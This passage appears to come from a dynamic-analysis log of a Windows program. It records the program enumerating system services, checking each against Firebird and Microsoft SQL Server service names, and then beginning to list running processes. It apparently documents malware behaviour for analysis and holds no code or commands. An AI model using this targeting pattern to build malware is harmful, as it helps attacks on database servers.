	[0154.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0154.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0154.545] lstrlenW (lpString="AppXSvc") returned 7
	[0154.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0154.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0154.545] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0154.545] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0154.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0154.545] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0154.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0154.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0154.546] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0154.546] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0154.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0154.546] lstrlenW (lpString="Audiosrv") returned 8
	[0154.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0154.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0154.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0154.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0154.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0154.546] lstrlenW (lpString="BFE") returned 3
	[0154.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0154.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0154.546] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0154.546] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0154.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0154.546] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0154.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0154.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0154.546] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0154.546] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0154.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0154.546] lstrlenW (lpString="CDPSvc") returned 6
	[0154.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0154.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0154.546] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0154.547] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0154.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0154.547] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0154.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0154.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0154.547] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0154.547] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0154.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0154.547] lstrlenW (lpString="CryptSvc") returned 8
	[0154.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0154.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0154.547] lstrlenW (lpString="DcomLaunch") returned 10
	[0154.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0154.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0154.547] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0154.547] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0154.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0154.548] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0154.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0154.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0154.548] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0154.548] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0154.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0154.548] lstrlenW (lpString="Dhcp") returned 4
	[0154.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0154.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0154.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0154.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0154.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0154.548] lstrlenW (lpString="Dnscache") returned 8
	[0154.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0154.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0154.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0154.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0154.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0154.548] lstrlenW (lpString="DPS") returned 3
	[0154.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0154.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0154.548] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0154.548] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0154.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0154.548] lstrlenW (lpString="DusmSvc") returned 7
	[0154.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0154.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0154.549] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0154.549] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0154.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0154.549] lstrlenW (lpString="EventLog") returned 8
	[0154.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0154.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0154.549] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0154.549] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0154.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0154.549] lstrlenW (lpString="EventSystem") returned 11
	[0154.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0154.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0154.549] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0154.549] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0154.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0154.549] lstrlenW (lpString="FontCache") returned 9
	[0154.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0154.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0154.549] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0154.549] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0154.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0154.549] lstrlenW (lpString="gpsvc") returned 5
	[0154.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0154.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0154.549] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0154.549] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0154.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0154.550] lstrlenW (lpString="iphlpsvc") returned 8
	[0154.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0154.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0154.550] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0154.550] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0154.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0154.550] lstrlenW (lpString="KeyIso") returned 6
	[0154.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0154.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0154.550] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0154.550] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0154.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0154.550] lstrlenW (lpString="LanmanServer") returned 12
	[0154.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0154.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0154.550] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0154.550] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0154.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0154.550] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0154.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0154.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0154.550] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0154.550] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0154.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0154.550] lstrlenW (lpString="lfsvc") returned 5
	[0154.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0154.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0154.551] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0154.551] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0154.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0154.551] lstrlenW (lpString="lmhosts") returned 7
	[0154.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0154.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0154.551] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0154.551] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0154.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0154.551] lstrlenW (lpString="LSM") returned 3
	[0154.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0154.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0154.551] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0154.551] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0154.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0154.551] lstrlenW (lpString="MpsSvc") returned 6
	[0154.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0154.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0154.551] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0154.551] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0154.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0154.551] lstrlenW (lpString="NcbService") returned 10
	[0154.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0154.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0154.551] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0154.551] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0154.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0154.552] lstrlenW (lpString="netprofm") returned 8
	[0154.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0154.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0154.552] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0154.552] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0154.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0154.552] lstrlenW (lpString="NgcSvc") returned 6
	[0154.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0154.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0154.552] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0154.552] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0154.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0154.552] lstrlenW (lpString="NlaSvc") returned 6
	[0154.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0154.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0154.552] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0154.552] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0154.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0154.552] lstrlenW (lpString="nsi") returned 3
	[0154.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0154.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0154.552] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0154.552] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0154.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0154.552] lstrlenW (lpString="PcaSvc") returned 6
	[0154.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0154.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0154.553] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0154.553] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0154.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0154.553] lstrlenW (lpString="PlugPlay") returned 8
	[0154.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0154.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0154.553] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0154.553] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0154.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0154.553] lstrlenW (lpString="Power") returned 5
	[0154.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0154.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0154.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0154.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0154.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0154.553] lstrlenW (lpString="ProfSvc") returned 7
	[0154.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0154.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0154.553] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0154.553] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0154.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0154.553] lstrlenW (lpString="RpcEptMapper") returned 12
	[0154.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0154.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0154.553] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0154.554] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0154.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0154.554] lstrlenW (lpString="RpcSs") returned 5
	[0154.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0154.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0154.554] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0154.554] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0154.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0154.554] lstrlenW (lpString="SamSs") returned 5
	[0154.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0154.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0154.554] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0154.554] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0154.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0154.554] lstrlenW (lpString="Schedule") returned 8
	[0154.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0154.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0154.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0154.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0154.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0154.554] lstrlenW (lpString="SecurityHealthService") returned 21
	[0154.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0154.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0154.554] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0154.554] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0154.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0154.554] lstrlenW (lpString="SENS") returned 4
	[0154.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0154.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0154.555] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0154.555] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0154.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0154.555] lstrlenW (lpString="ShellHWDetection") returned 16
	[0154.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0154.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0154.555] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0154.555] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0154.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0154.555] lstrlenW (lpString="Spooler") returned 7
	[0154.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0154.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0154.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0154.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0154.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0154.555] lstrlenW (lpString="StateRepository") returned 15
	[0154.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0154.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0154.555] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0154.555] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0154.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0154.555] lstrlenW (lpString="SysMain") returned 7
	[0154.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0154.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0154.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0154.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0154.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0154.937] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0154.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0154.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0154.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0154.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0154.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0154.937] lstrlenW (lpString="Themes") returned 6
	[0154.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0154.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0154.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0154.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0154.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0154.938] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0154.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0154.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0154.938] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0154.938] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0154.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4640fc8 | out: hHeap=0x4f0000) returned 1
	[0154.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550
	[0154.942] Process32FirstW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0154.943] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0154.944] lstrlenW (lpString="System") returned 6
	[0154.944] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0154.945] lstrlenW (lpString="smss.exe") returned 8
	[0154.945] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0154.946] lstrlenW (lpString="csrss.exe") returned 9
	[0154.946] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0154.947] lstrlenW (lpString="wininit.exe") returned 11
	[0154.947] Process32NextW (in: hSnapshot=0x550, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0154.948] lstrlenW (lpString="csrss.exe") returned 9
